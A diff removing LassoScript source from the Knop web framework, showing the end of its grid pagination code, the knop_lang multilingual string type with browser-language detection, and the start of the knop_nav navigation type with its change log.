-						-urlargs='-page=1') + '" class="prevnext first"'
-						+ ' title="' + (#lang -> linktitle_gofirst) + '">' + (#lang -> linktext_first) + '</a> ';*/
-					#output += ' <a href="' + #url_cached_temp + '" class="prevnext first"'
-						+ ' title="' + (#lang -> linktitle_gofirst) + '">' + (#lang -> linktext_first) + '</a> ';
-		
-					#url_cached_temp=#url_cached;
-					#url_cached_temp -> replace('-page=###page###', '-page=' + (#page - 1));
-					#output += ' <a href="' + #url_cached_temp + '" class="prevnext prev"'
-						+ ' title="' + (#lang -> linktitle_goprev) + '">' + (#lang -> linktext_prev) + '</a> ';
-				else;
-					#output += ' <a href="./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) 
-						+ '-page=1" class="prevnext first"'
-						+ ' title="' + (#lang -> linktitle_gofirst) + '">' + (#lang -> linktext_first) + '</a> ';
-		
-					#output += ' <a href="./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) 
-						+ '-page=' + (#page - 1) + '" class="prevnext prev"'
-						+ ' title="' + (#lang -> linktitle_goprev) + '">' + (#lang -> linktext_prev) + '</a> ';
-				/if;
-			else;
-				#output += ' <span class="prevnext first dim">' + (#lang -> linktext_first) + '</span> \
-							<span class="prevnext prev dim">' + (#lang -> linktext_prev) + '</span> ';
-			/if;
-			if: #db -> found_count > #db -> shown_count;
-				#output += (#lang -> (footer_shown: -replace=(array: (#db -> shown_first), (#db -> shown_last)))) + ' ';
-			/if;
-			#output += #db -> found_count + ' ' + (#lang -> footer_found);
-			if: (#db -> shown_last) < (#db -> found_count);
-				if: #url_cached -> size;
-					#url_cached_temp=#url_cached;
-					#url_cached_temp -> replace('-page=###page###', '-page=' + (#page + 1));
-					/*#output += ' <a href="' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path), 
-						-urlargs='-page=' + (#page + 1)) + '" class="prevnext next"'
-						+ ' title="' + (#lang -> linktitle_gonext) + '">' + (#lang -> linktext_next) + '</a> ';*/
-					#output += ' <a href="' + #url_cached_temp + '" class="prevnext next"'
-						+ ' title="' + (#lang -> linktitle_gonext) + '">' + (#lang -> linktext_next) + '</a> ';
-
-					#url_cached_temp=#url_cached;
-					#url_cached_temp -> replace('-page=###page###', '-page=' + #lastpage);
-					#output += ' <a href="' + #url_cached_temp + '" class="prevnext last"'
-						+ ' title="' + (#lang -> linktitle_golast) + '">' + (#lang -> linktext_last) + '</a> ';
-				else;
-					#output += ' <a href="./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) 
-						+ '-page=' + (#page + 1) + '" class="prevnext next"'
-						+ ' title="' + (#lang -> linktitle_gonext) + '">' + (#lang -> linktext_next) + '</a> ';
-					#output += ' <a href="./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) 
-						+ '-page=' + ((self -> lastpage)) + '" class="prevnext last"'
-						+ ' title="' + (#lang -> linktitle_golast) + '">' + (#lang -> linktext_last) + '</a> ';
-				/if;
-			else;
-				#output += ' <span class="prevnext next dim">' + (#lang -> linktext_next) + '</span>  \
-							<span class="prevnext last dim">' + (#lang -> linktext_last) + '</span> ';
-			/if;
-		/if;
-		#output += '</th></tr>\n';
-		(local_defined: 'end') ? #output += '</table>\n';
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: @#output;
-	/define_tag;
-	
-	define_tag: 'page', -description='Returns the current page number';
-		return: (self -> 'page');
-	/define_tag;
-	
-	define_tag: 'lastpage', -description='Returns the number of the last page for the found records';
-		if: (self -> 'database') -> 'found_count' > 0;
-			return: (((self -> 'database') -> 'found_count' - 1) / (self -> 'database') -> 'maxrecords_value') + 1;
-		else;
-			return: 1;
-		/if;
-	/define_tag;
-	
-	define_tag: 'page_skiprecords', -description='Converts curent page value to a skiprecords value to use in a search. \n\
-			Parameters:\n\
-			-maxrecords (required integer) Needed to be able to do the calculation. Maxrecords_value can not be taken from the database object since taht value is not available until aftetr performing the search',
-		-required='maxrecords', -type='integer'; // TODO: maxrecords_value can be taken from the database object so should not be required
-		return: ((self -> 'page') - 1) * #maxrecords;
-	/define_tag;
-	
-
-/define_type;
-
-?>[
-//------------------------------------------------------------------
-//    End knop_grid
-//------------------------------------------------------------------
-
-//##################################################################
-
-][
-//------------------------------------------------------------------
-//    Begin knop_lang
-//------------------------------------------------------------------
-
-]<?LassoScript
-
-define_type: 'lang',
-	'knop_base',
-	-namespace='knop_';
-//	-prototype;
-
-	local: 'version'='2010-12-29',
-			'description'='A knop_lang object holds all language strings for all supported languages. Strings are \
-				stored under a unique text key, but the same key is of course used for the different language \
-				versions of the same string. \n\
-				Strings can be separated into different variables if it helps managing them for different contexts. \n\
-				When the language of a string object is set, that language is used for all subsequent requests \
-				for strings until another language is set. All other instances on the same page that don\'t have a \
-				language set will also use the same language.  \n\
-				If no language is set, knop_lang uses the browser\'s preferred language if it\'s available in \
-				the knop_lang object, otherwise it defaults to the first language (unless a default language \
-				has been set for the instance).';
-
-/*
-
-CHANGE NOTES
-2010-12-29	JS	->getstring: make sure we only try to do replacement in strings or bytes
-2010-05-27	JS	getstring now works also with empty -replace value
-2010-04-20	JS	getstring debug output corrected for missing string. 
-2009-09-16	JS	Syntax adjustments for Lasso 9
-2009-06-26	JS	->addstring: clarified deprecation warning
-2009-04-08	JS	Added -debug flag to oncreate (when creating a lang object) to make undefined language keys appear as *key*.
-2009-03-24	JS	->getstring prevents replacements if there is no language string found, to prevent null->replace error
-2008-11-12	JS	Added ->insert instead of ->addstring for better consistency with other Lasso data types. ->addstring will remain functional for backwards compatibility. 
-2008-09-11	JS	->_unknowntag: added missing support for -language
-2008-01-22	JS	->getstring: corrected the fallback behavior when a current language has been set 
-2008-01-07	JS	Removed instance variable browserlanguage due to problems with transient storage. The browserlanguage is cached on page level so it's no loss in reality. 
-2007-12-12	JS	Added page level storage of currentlanguage, so all knop_lang instances defaults to the same language once one of them have set a language explictly, but only if the other knop_lang instances don't have a language set explicitly. 
-2007-12-12	JS	Added page level caching of browser language (stores the value in $_knop_data map)
-2007-12-06	JS	Moved -> help to knop_base
-2007-12-06	JS	Added ->description to all member tags. 
-2007-12-03	JS	Finished first complete version
-2007-06-18	JS	Added tag timer to most member tags
-2007-06-13	JS	added inheritance from knop_base
-2007-06-13	JS	Renamed to knop_lang (formerly knop_strings)
-2007-04-04	JS	Created the data type and started coding
-
-TODO:
-Provide methods to handle formatting of dates, numbers, currency etc for different languages/locales. 
-Weekday names, month names etc. 
-Member tag to return the current language
-Member tag to set default output encoding unless it follows encode_set. 
-
-Examples
-	var: 'lang_messages'=(knop_lang: -default='en');
-	$lang_messages -> (insert: -key='welcome', -value='Welcome to the home page', -language='en');
-	$lang_messages -> (insert: -key='welcome', -value='Välkommen till hemsidan', -language='sv');
-	$lang_messages -> (insert: -key='loggedin', -value='You are logged in as #1# #2#', -language='en');
-	$lang_messages -> (insert: -key='loggedin', -value='Du är inloggad som #1# #2#', -language='sv');
-
-	// proper call, defaults to the browser's preferred language
-	$lang_messages -> (getstring: 'welcome');
-	// shorthand call
-	$lang_messages -> welcome;
-
-	// change language
-	$lang_messages -> (setlanguage: 'sv');
-	$lang_messages -> welcome;
-
-	// proper call with replacements
-	$lang_messages -> (getstring: -key='loggedin': -replace=(array: (field: 'firstname'), (field: 'lastname')));
-
-	// shorthand call with replacements
-	$lang_messages -> (loggedin: -replace=(array: (field: 'firstname'), (field: 'lastname')));
-
-
-*/
-
-	// instance variables
-	local: 'strings'=map,		// map: language=(map: key=value, key=value), language=...
-		'defaultlanguage'=string,
-		'fallback'=false,
-		'currentlanguage'=null,	// the currently set language
-		'keys'=null,			// cached keys array
-		'debug'=false;
-
-	define_tag: 'oncreate', -description='Creates a new instance of knop_lang. \n\
-			Parameters: \n\
-			-default (optional) Default language. \n\
-			-fallback (optional) If specified, falls back to default language if key is missing. \n\
-			-debug (optional flag) If specified, missing strings will be output using the key surrpunded by asterisks',
-		-optional='default',	
-		-optional='fallback',
-		-optional='debug';
-		local: 'timer'=knop_timer; 
-		
-		if(local_defined('default') && #default -> size);
-			(self -> 'defaultlanguage') = #default;
-		/if;
-		(self -> 'fallback') = ((local_defined: 'fallback') && #fallback != false);
-		(self -> 'debug') = ((local_defined: 'debug') && #debug != false);
-		
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	
-	define_tag: 'onconvert', -description='Returns raw dump of the instance for debugging';
-		return: (self -> dump);
-	/define_tag;
-
-	define_tag: '_unknowntag', -description='Returns the language string for the specified text key \
-			= shortcut for getstring. \n\Parameters: \n\
-			-language (optional)  see getstring: -language.\n\ 
-			-replace (optional) see getstring: -replace. ',
-		-optional='language',
-		-optional='replace';
-		!(local_defined: 'replace') ? local: 'replace'=string;
-		!(local_defined: 'language') ? local: 'language'=string;
-		if: self -> keys >> tag_name;
-			return: @(self -> (getstring: -key=Tag_name, -language=#language, -replace=#replace));
-		else;
-			(self -> 'debug_trace') -> insert('Error: ' + tag_name + ' not found');
-			(self -> 'debug') ? return('*' + tag_name + '*');
-		/if;
-	/define_tag;
-	
-
-	define_tag: 'addlanguage', -description='Adds a map with language strings for an entire language. Replaces all existing language strings for that language. \n\
-			Parameters: \n\
-			-language (required) The language to add. \n\
-			-strings (required) Complete map of key=value for the entire language.',
-		-required='language',
-		-required='strings', -type='map';
-		local: 'timer'=knop_timer; 
-		(self -> 'keys') = null;
-		(self -> 'strings') -> (insert: #language = #strings);
-
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-
-	define_tag('addstring', -description='Deprecated synonym for ->insert',
-		-required='language',
-		-required='key',
-		-required='value');
-		(self -> 'debug_trace') -> insert('*** DEPRECATION WARNING *** ' + tag_name + ' is deprecated, use ->insert instead');
-		self -> insert(-language=#language, -key=#key, -value=#value);
-	/define_tag;
-	
-	define_tag: 'insert',-description='Adds an individual language string. \n\
-			Parameters:\n\
-			-language (required) The language for the string. \n\
-			-key (required) Textkey to store the string under. Replaces any existing key for the same language. \n\
-			-value (required) The actual string (can also be compound expression). Can contain replacement tokens #1#, #2# etc. ',
-		-required='language',
-		-required='key',
-		-required='value';
-		local: 'timer'=knop_timer; 
-		(self -> 'keys') = null;
-		if: (self -> 'strings') !>> #language;
-			(self -> 'strings') -> (insert: #language = map);
-		/if;
-		((self -> 'strings') -> (find: #language)) -> (insert: #key = #value);
-
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	define_tag: 'getstring',	-description='Returns a specific text string in the language that has previously been set for the instance.\
-				If no language has been set, the browser\'s preferred language will be used unless another instance on the same page \
-				has a language set using ->setlanguage. \n\
-				If the string is not available in the chosen language and -fallback was specified, \
-				the string for the language that was first specified for that key will be returned. \n\
-				Parameters: \n\
-				-key (required) textkey to return the string for. \n\
-				-language (optional) to return a string for a specified language (temporary override). \n\
-				-replace (optional) single value or array of values that will be used as substitutions for placeholders #1#, #2# etc in the returned string, in the order they appear. Replacements can be compund expressions, which will be executed.  Can also be map or pair array, and in that case the left hand element of the map/array will be replaced by the right hand element. ',
-		-required='key',
-		-optional='language', -copy,
-		-optional='replace', -copy;
-										
-		if: (var: '_knop_data') -> type != 'map';
-			// page level caching
-			$_knop_data = map;
-		/if;
-
-		!(local_defined: 'language') ? local: 'language'=string;
-
-		local: 'timer'=knop_timer; 
-		local: 'output'=string;
-		if: #language -> size == 0 || !(self -> (validlanguage: #language));
-			#language=(self -> 'currentlanguage');
-			if: #language -> size == 0;
-				if: $_knop_data >> 'currentlanguage' && self -> (validlanguage: ($_knop_data -> (find: 'currentlanguage')));
-					// fall back to page level language
-					#language = $_knop_data -> find('currentlanguage');
-				else;
-					// fall back to the browser's preferred language
-					#language=(self -> browserlanguage);
-				/if;
-			/if;
-			if: #language -> size == 0 && self -> (validlanguage: (self -> 'defaultlanguage'));
-				// still no matching language, fall back to defaultlanguage
-				#language = (self -> 'defaultlanguage');
-			else: #language -> size == 0;
-				// still no matching language, fall back to the first language
-				#language = (self -> 'strings') -> keys -> first;
-			/if;
-			if: (self -> 'strings') !>> #language
-				|| ((self -> 'strings') >> #language
-					&& (self -> 'strings') -> (find: #language) !>> #key
-					&& (self -> 'fallback'));
-				// key is not found in current language, switch to default language
-				if: self -> (validlanguage: (self -> 'defaultlanguage'));
-					// still no matching language, fall back to defaultlanguage
-					#language = (self -> 'defaultlanguage');
-				else;
-					// no default language to fall back to
-				/if;
-			/if;
-		/if;
-		if: (self -> 'strings') >> #language;
-			if((self -> 'strings') -> find(#language) !>> #key);
-				(self -> 'debug_trace') -> insert('Error: ' + #key + ' not found');
-				self -> 'tagtime_tagname'=tag_name;
-				self -> 'tagtime'=integer(#timer); // cast to integer to trigger onconvert and to "stop timer"
-				(self -> 'debug') 
-					? return('*' + #key + '*') 
-					| return;
-			/if;
-			#output = (self -> 'strings') -> (find: #language) -> (find: #key);
-			//(self -> 'debug_trace') -> (insert: tag_name + ': found string "' + (encode_html: #output) + '" for key "' + #key + '" and language ' + #language);
-			
-			if: #output -> (isa: 'tag');
-				// execute compund expression
-				#output = #output -> run;
-			/if;
-			if((#output -> isa('string') || #output -> isa('bytes')) 
-				&& #output -> size && (local_defined: 'replace'));
-				// replace placeholders with real values
-				if: !(#replace -> (isa: 'array')) && !(#replace -> (isa: 'map'));
-					#replace = (array: #replace);
-				/if;
-				iterate: #replace, local: 'replacement';
-					// make sure we have a pair
-					if: !(#replacement -> (isa: 'pair'));
-						#replacement = (pair: '#' + loop_count + '#' = #replacement);
-					/if;
-					// if we have a compund expression as replacement, execute the replacement first
-					if: (#replacement -> value -> (isa: 'tag'));
-						(#replacement -> value) = #replacement -> value -> run;
-					/if;
-					#output -> (replace: #replacement -> name, #replacement -> value);
-				/iterate;
-			/if;
-		/if;
-		
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: #output;
-		
-	/define_tag;
-	
-	define_tag: 'setlanguage', -description='Sets the current language for the string object. Also affects other instances on the same page that do not have an explicit language set. ',
-		-required='language';
-		local: 'timer'=knop_timer; 
-		if: (var: '_knop_data') -> type != 'map';
-			// page level caching
-			$_knop_data = map;
-		/if;
-		if: self -> (validlanguage: #language);
-			(self -> 'debug_trace') -> (insert: tag_name + ': Setting language to ' + #language);
-			(self -> 'currentlanguage') = #language;
-			// save page level language
-			$_knop_data -> insert('currentlanguage' = #language);
-		else;
-			(self -> 'debug_trace') -> (insert: tag_name + ': Could not set current language to ' + #language + ' since it does not exist in the lang object');
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	
-	define_tag: 'validlanguage', -description='Checks if a specified language exists in the string object, \
-		returns true or false.',
-		-required='language';
-		return: (self -> 'strings') -> keys >> #language;
-	/define_tag;
-	
-	define_tag: 'browserlanguage', -description='Autodetects and returns the most preferred language \
-			out of all available languages as specified by the browser\'s accept-language q-value. ';
-		
-		local: 'timer'=knop_timer; 
-
-		local: 'browserlanguage'=string;
-
-		if: (var: '_knop_data') -> type != 'map';
-			// page level caching
-			$_knop_data = map;
-		/if;
-
-		if: $_knop_data >> 'browserlanguage';
-			// use page cache
-			#browserlanguage = $_knop_data -> find('browserlanguage');
-
-		else;
-			local: 'requestheader'=client_headers -> (split: '\r\n'),
-				'acceptlanguage'=string,
-				'browserlanguages'=array;
-			
-			iterate: #requestheader, (local: 'headerfield'); 
-				// strip IIS header prefix
-				#headerfield -> (removeleading: 'HTTP_');
-				
-				if: #headerfield -> (beginswith: 'Accept-Language:'); 
-					#acceptlanguage=#headerfield;
-					loop_abort;
-				/if;
-			/iterate;
-			#acceptlanguage -> (removeleading: 'Accept-Language:');
-			#acceptlanguage -> trim;
-			(self -> 'debug_trace') -> (insert: tag_name + ': Accept-Language: ' + #acceptlanguage);
-			#acceptlanguage = #acceptlanguage -> (split: ',');
-			iterate: #acceptlanguage, local: 'language';
-				#language = #language -> (split: ';');
-				if: #language -> size == 1;
-					// no q value specified, use default 1.0
-					#language -> (insert: 'q=1.0');
-				/if;
-				(#language -> first) -> trim; 
-				if: #language -> size >= 2 && #language -> first -> size;
-					(#language -> second) = (#language -> second) -> (split: '=') -> last;
-					(#language -> second) -> trim; 
-					#browserlanguages -> (insert: (decimal: (#language -> second)) = (#language -> first) );
-				/if;
-			/iterate;
-			#browserlanguages -> (sort: -ascending=false);
-	
-			// find the most preferred language
-			(self -> 'debug_trace') -> (insert: tag_name + ': looking for matching languages ');
-			iterate: #browserlanguages, local: 'language';
-				if: (self -> validlanguage: (#language -> second));
-					/// found a valid language
-					#browserlanguage=#language -> second;
-					(self -> 'debug_trace') -> (insert: tag_name + ': found valid language ' + #browserlanguage);
-					loop_abort;
-				/if;
-			/iterate;
-			if: #browserlanguage -> size == 0;
-				// no matching language found, try again without locale
-				(self -> 'debug_trace') -> (insert: tag_name + ': no valid language found, looking again without locale ' + #language);
-				iterate: #browserlanguages, local: 'language';
-					(#language -> second) = (#language -> second) -> (split: '-') -> first;
-					if: (self -> validlanguage: (#language -> second));
-						/// found a valid language
-						#browserlanguage=#language -> second;
-						(self -> 'debug_trace') -> (insert: tag_name + ': found valid language ' + #browserlanguage);
-						loop_abort;
-					/if;
-				/iterate;
-			/if;
-			$_knop_data -> insert('browserlanguage'=#browserlanguage);
-		/if;
-		
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: #browserlanguage;
-
-	/define_tag;
-	
-	define_tag: 'languages', -description='Returns an array of all available languages in the string object \
-			(out of the languages in the -language array if specified). \n\
-			Parameters: \n\
-			-language (optional) string or array of strings.',
-		-optional='language', -copy;
-		local: 'timer'=knop_timer; 
-
-		local: 'languages'=(self -> 'strings') -> keys;
-		if: (local_defined: 'language');
-			if: !(#language -> (isa: 'array'));
-				#language = array: #language;
-			/if;
-			#languages -> sort;
-			#language -> sort;
-			// get the languages that exist in both arrays
-			#languages = #languages -> (intersection: #language);
-		/if;
-
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: #languages;
-	/define_tag;
-	
-	define_tag: 'keys', -description='Returns array of all text keys in the string object. ';
-		if: !((self -> 'keys') -> (isa: 'array'));
-			local: 'keysarray'=array, 'keysmap'=map, 'keysarray_new'=array;
-			// no cached result yet - create list of all keys
-			iterate: (self -> 'strings'), local: 'strings_language';
-				#keysarray_new = #strings_language -> value -> keys;
-				#keysarray_new -> sort;
-				#keysarray -> sort;
-				// add the keys that are not already in #keysarray by using union
-				#keysarray = #keysarray -> (union: #keysarray_new);
-			/iterate;
-			(self -> 'keys') = #keysarray;
-		/if;
-		return: (self -> 'keys');
-	/define_tag;
-	
-
-/define_type;
-
-?>
-[
-//------------------------------------------------------------------
-//    End knop_lang
-//------------------------------------------------------------------
-
-//##################################################################
-
-][
-//------------------------------------------------------------------
-//    Begin knop_nav
-//------------------------------------------------------------------
-
-]<?LassoScript
-
-define_type: 'nav',
-	'knop_base',
-	-namespace='knop_';
-//	-prototype;
-
-	local: 'version'='2010-11-17',
- 		'description'='Custom type to handle site navigation menu';
-
-/*
-
-CHANGE NOTES
-2010-11-17	JC	Fixed bug so that session links no longer gets added to urls by the nav -> url tag.
-2010-11-17	JC	Fixed a bug that would not convert local params to an array under certain situations
-2009-09-18	JS	Syntax adjustments for Lasso 9
-2009-09-04	JS	->linkparams: Multiple paramaters with the same name (typically checkboxes) are now passed properly
-2009-05-06	JS	->directorytree considers _include folders as part of the Knop directory structure. nav->include('_include/myfile.inc') will first look for _include/myfile.inc and if not found it will look for _knop/_include/myfile.inc 
-2009-05-05	JS	->include looks for a specified file also inside a _knop folder, if the file does not exist at the specified location
-2009-02-09	JS	->filename: Casting path and actionpath to string
-2008-12-19	JS	->filename (and consequently ->include and ->library) can now use a specific -path instead of the current location's path
-2008-12-09	JS	->linkparams: fixed undefined local in trace call (only showed when trace was enabled for the nav object)
-2008-11-25	JS	->getlocation will now avoid disabled and hidden pages when looking for the first page if no default page is specified
-2008-11-03	JS	->getlocation will not break if no navigation items have been defined
-2008-10-30	JS	_mod folders will now work with knop paths with just a single level, so an include file path can end up as _mod_customer/lib_customer.inc or just _mod_customer/lib.inc (the latter variant does not apply to extension-based filenaming, so _mod_customer/.lib will never be a working file path)
-2008-07-10	JS	Added -> label to return the name of the current page
-2008-05-20	JS	->renderhtml: #current# is not automatically added to the template if the more elaborate template format is used. This makes it easier to hide the currentmarker without changing the nav config (partial revert of fix 2008-01-04). 
-2008-05-08	JS	->insert: A duplicate key does no longer cause a fatal error but instead fails silently and logs to the debug log
-2008-05-07	JS	->url: will now call ->linkparams so all links that are constructed from ->url will properly send along the parameters specified in the nav item. This also affects pagination and sort links in grid. 
-2008-05-07	JS	Added ->linkparams, Returns an array for all parameters that should be sent along with nav links (this was previously embedded in renderhtml)
-2008-02-25	JS	->url: new parameter -getargs to add the getargs to the path link if the path equals the current path
-2008-02-06	JC	->insert: the -hide flag can now be a boolean (also the -disabled flag)
-2008-02-03	JS	->include: can now include any specified filename
-2008-02-01	JS	->oncreate: added optional -fileroot to be able to use a root for files that is different from the logical site root used for navigation 
-2008-01-23	JS	->url: Added -autoparams that is required to enable the automatic passing of action_params that begin with "-" (this reverts the default behavior to match the the old)
-2008-01-22	JS	->url: GET params that begin with "-" are sent as parameters on links. -path, -sort, -desc, -q are explicitly excluded from nav links in renderhtml. 
-2008-01-22	JS	When using param based navigation, navigation links now use much cleaner /?path/to/page/ style links instead of /?-path=path/to/page/
-2008-01-22	JS	->getlocation: when navmethod is param, the path can now be sent as unnamed parameter insetad of -path parameter (such as /?path/to/page/). 
-2008-01-04	JS	->renderbreadcrumb: added flag -plain to output breadcrumb without html
-2008-01-04	JS	->renderbreadcrumb: added flag -skipcurrent to not include the current location in the output
-2008-01-04	JS	->insert: -template can now be specified also for individual nav items. Use the form #link##label##current##/link##children#. 
-2008-01-04	JS	->renderhtml: changed #title# to #label# in template for clarity, for example #link##label##current##/link##children# (#title# will remain supported)
-2008-01-04	JS	Added #current# as placeholder for template, to specify where the current marker should occurr. If not specified in the template, the current marker appears immediately after the label.
-2007-12-12	JS	->include now logs processing time for the include to debug trace
-2007-12-11	JS	Added documentation as -description to most member tags, to be used by the new ->help tag
-2007-12-11	JS	Moved ->help to knop_base
-2007-12-04	JS	nav item css class is now applied also to disabled nav items (rendered as <span>)
-2007-11-08	JS	Changed trace so it tracks some things even when it's not enabled (like include etc)
-2007-11-05	JS	Added var name to trace output
-2007-10-28	JS	->directorytree: should now work also when knop folders are symlinks
-2007-09-06	JS	top level nav elements that are -disabled now behave properly when accessed
-2007-09-05	JS	-currentmarker can now be set separately on sublevels, not only on topmost level
-2007-08-29	JS	Added _knop as optional base folder to put all knop files in
-2007-08-29	JS	->include: Removed file_exists check since the filename has already been verified in ->filename.
-2007-08-29	JS	Added ->directorytree which returns a map with all knop filenames, to use when searching for includes
-2007-08-28	JS	->oncreate: -filenaming to specify how include files are named prefix/suffix/extension
-2007-08-28	JS	->filename: Implemented support for flexible folder structures
-2007-08-28	JS	Instance variable #actionconfigfile_didrun was not properly declared
-2007-06-18	JS	Added tag timer to most member tags
-2007-06-14	JS	->insert: -url='/' can now be used to specify the "home" location. 
-2007-06-13	JS	added ->children to get a reference to the children nav object for a specified path, so new children can be inserted. Must call ->reindex afterwards. 
-2007-06-13	JS	added ->reindex to rebuild the index maps from scratch. Must be done after adding children items. 
-2007-06-13	JS	added ->addchildren to replace a current children nav object for a specified path. Will handle the reindexing transparently. 
-2007-06-13	JS	added ->keymap, ->pathmap and ->urlmap to access the index maps so they call reindex if they have been invalidated (for example by ->addchildren)
-2007-06-13	JS	added inheritance from knop_base
-2007-06-11	JC	added handling of xhtml output
-2007-06-08	JS	->insert: params with empty values are now ignored
-2007-05-04	JS	->insert: added check that default item exists in children before storing the default
-2007-04-19	JS added ->data to retrieve data stored for the current path (or specified path). Optional -type ensures the returned data has the correct type. 
-2007-04-19	JS ->insert: added -data to store arbitrary data object for each path. The object is stored as reference so a variable can be changed after it has been added to the nav object
-2007-04-19	JS	added ->patharray to return the current path as array
-2007-04-17	JS	->renderhtml: template now supports #link##title##/link##children# in addition to #item# to provide more flexibility
-2007-04-17	JS	->oncreate: added support for -template, -class, currentclass and -currentmarker
-2007-04-13	JS	Implemented -class per navitem (only worked globally with setformat before)
-2007-04-03	JS	->renderhtml: added -renderpath, -expand and -flat to be able to render parts of the nav menu for more flexible layout
-2007-04-03	JS	->renderbreadcrumb: added -home to show the default navigation item first in the breadcrumb 
-2007-04-03	JS	Changed namespace from mt_ to knop_
-2007-03-01	JS	Changed navmethod path so it uses response_filepath instead of $url_path
-2007-02-25	JS	Added ->actionpath
-2007-02-24	JS	->renderhtml: improved handling of classes in nav links
-2007-02-22	JS	->url: added -except
-2007-02-09	JS	->url: corrected the behavior for plain parameters passed to the tag
-2007-02-05	JS	->insert: Added -param to be able to specify params that should be propagated in nav for certain nav elements (like -keyvalue to be able to move between different subtabs for a selected record
-2007-02-05	JS	->renderhtml now use ->url to get the right links
-2007-02-01	JS	Made usage of trace optional to improve performance
-2007-02-01	JS	Improvements to debug_trace to log also recursive events
-2007-02-01	JS	Added ->haschildren, which is now used by ->renderhtml to properly show or hide child level
-2007-01-31	JS	->renderhtml Added renderhtml_levels to keep track of how many levels deep navigation has been rendered, to be able to add proper spacing between navigation and content
-2007-01-31	JS 	->url: -urlargs  Improved handling of urlargs and ?/& delimiters, should work better with navmethod path
-2007-01-30	JS	Removed automatic link title attribute since it can be confusing to show children page titles there
-2007-01-30	JS	Corrected parameter path to -path (bug)
-2007-01-23	JS	->include: 'config' checks if the same config has already run as actionconfig and won't run again in that case
-2007-01-23	JS	->include checks if the file exists first, so no need for empty placeholder files
-2007-01-23	JS	Added ->include and ->library
-2007-01-23	JS	Added ->setlocation
-2007-01-17	JS	Added insert: -hide to allow a location without showing it in navigation
-
-TODO
-Add support for compound expressions for template. The expression could return a map that would override corresponding param values. 
-->insert: Add -raw to be able to inject code into the link tag, similar to form->addfield(-raw). 
-Exclude file name for example index.lasso from getargs
-Optimize nav->url! Very slow with complex nav object. 
-Needs to exclude also -keyfield and -lockfield. Maybe better to add an option to ->url to not auto-add any "-" params at all. 
--params are not sent along in breadcrumb links
-Need simple way to exclude certain "-" params from ->url, also in config per nav item
-Add support for adding nav structure from a database
-Move templates to a member tag to be make it easier to subclass
-Make it possible to use external URL for -url (make sure there is no / before http)
-
-*/
-
-	local: 'navitems'=array,	// array of maps
-		'keymap'=map,			// to speed up the locating of critical navigation elements (TBD)
-		'pathmap'=map,			// contains full key paths also for children navitems
-		'urlmap'=map,			// to translate a url to key path, contains url also for children navitems
-		'default'=string,		// default path, i.e. home page
-		'parentkey'=null,		// the key of the parent to this navitem (null for top item)
-		'template'=string,
-		'class'=string,
-		'currentclass'=string,
-		'currentmarker'=null,
-
-		'actionpath'=string,		// captured from -action parameter in submission
-		'path'=string,			// captured from path param or urlhandler and translated from url
-		'patharray'=array,		// path broken down into elements
-		'pathargs'=string,		// extra path parts that can contain record identification etc
-		'urlparams'array,		// holds everything needed to generate nav links
-		'navmethod'=string,		// path or param depending on how the nav is propagated. To be able to force path, since url handler doesn't kick in for the start page
-		'filenaming'=string,
-		'directorytreemap'=map,	// contains a list of all existing filenames in the knop directory tree
-		'root'='/',				// site root
-		'fileroot'='/',			// root for physical files
-		'renderhtml_levels'=0,	// number of levels rendered by renderhtml
-		// 'tagtime'=integer, 			// moved to knop_base
-		// 'tagtime_tagname'=string, 	// moved to knop_base
-		'debug_trace'=array,
-		'dotrace'=false,
-		'actionconfigfile_didrun'=string,	// path to action config file that has been run for the current page load
-											// used to not load the same config again
-		'error_lang'=(knop_lang: -default='en', -fallback);
-
-	define_tag: 'oncreate', -description='Parameters:\n\
-			-default (optional) Key of default navigation item\n\
-			-root (optional) The root path for the site section that this nav object is used for\n\
-			-fileroot (optional) The root for include files, to be able to use a different root for physical files than the logical root of the site. Defaults to the value of -root. \n\
-			-navmethod (optional) path or param. Path for "URL designed" URLs, otherwise a -path parameter will be used for the navigation. \n\
-			-filenaming (optional) prefix (default), suffix or extension, specifies how include files are named\n\
-			-trace (optional flag) If specified debug_trace will be used. Defaults to disabled for performance reasons. \n\
-			-template (optional) html template used to render the navigation menu\n\
-			-class (optional) default class for all navigation links\n\
-			-currentclass (optional) class added for the currently active link\n\
-			-currentmarker (optional) character(s) show to the right link of current nav (typically &raquo;)',
-		-optional='template',
-		-optional='class',
-		-optional='currentclass',
-		-optional='currentmarker',
-		-optional='default',
-		-optional='root',
-		-optional='fileroot',
-		-optional='navmethod',
-		-optional='filenaming',
-		-optional='trace';
-		local: 'timer'=knop_timer, 'dotrace'=(self -> 'dotrace');
-		// TODO: check if we are in an inline, in that case use -key, -label etc as field names and loop through records to fill nav		
-		
-		local_defined('default') ? (self -> 'default') = #default;
-		local_defined('root') ? (self -> 'root') = #root;
-		local_defined('navmethod') ? (self -> 'navmethod') = #navmethod; 
-		local_defined('template') ? (self -> 'template') = #template;
-		local_defined('class') ? (self -> 'class') = #class;
-		local_defined('currentclass') ? (self -> 'currentclass') = #currentclass;
-		local_defined('currentmarker') ? (self -> 'currentmarker') = #currentmarker;
-		local_defined('filenaming') ? (self -> 'filenaming') = #filenaming;
-
